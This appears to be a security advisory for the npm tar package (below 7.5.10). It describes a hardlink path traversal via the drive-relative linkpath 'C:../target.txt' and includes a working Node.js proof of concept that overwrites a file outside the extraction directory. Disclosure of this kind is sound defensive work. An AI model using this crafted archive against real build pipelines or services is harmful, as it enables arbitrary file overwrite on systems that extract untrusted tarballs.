tar has Hardlink Path Traversal via Drive-Relative Linkpath
Published 5 Mar 2026 · Updated 10 Sept 2026
Affected package
- Affected
- <7.5.10
- Fixed in
- 7.5.10
npm install tar@7.5.10Details
Summary
tar (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.
Details
The extraction logic in Unpack[STRIPABSOLUTEPATH] checks for .. segments *before* stripping absolute roots.
What happens with linkpath: "C:../target.txt":
1. Split on / gives ['C:..', 'target.txt'], so parts.includes('..') is false.
2. stripAbsolutePath() removes C: and rewrites the value to ../target.txt.
3. Hardlink creation resolves this against extraction cwd and escapes one directory up.
4. Writing through the extracted hardlink overwrites the outside file.
This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.
PoC
Tested on Arch Linux with tar@7.5.9.
PoC script (poc.cjs):
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')
const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(process.cwd(), 'poc.tar')
fs.writeFileSync(target, 'ORIGINAL\n')
const b = Buffer.alloc(1536)
new Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0)
fs.writeFileSync(tarFile, b)
x({ cwd, file: tarFile }).then(() => {
fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n')
process.stdout.write(fs.readFileSync(target, 'utf8'))
})Run:
cd test-workspace node poc.cjs && ls -l ../target.txt
Observed output:
PWNED -rw-r--r-- 2 joshuavr joshuavr 6 Mar 4 19:25 ../target.txt
PWNED confirms outside file content overwrite. Link count 2 confirms the extracted file and ../target.txt are hardlinked.
Impact
This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.
Realistic scenarios:
- CLI tools unpacking untrusted tarballs into a working directory
- build/update pipelines consuming third-party archives
- services that import user-supplied tar files
Is GHSA-qffp-2rhf-9h96 in any of your client repos?
Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected tar, and gives you the command that fixes it.
References
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.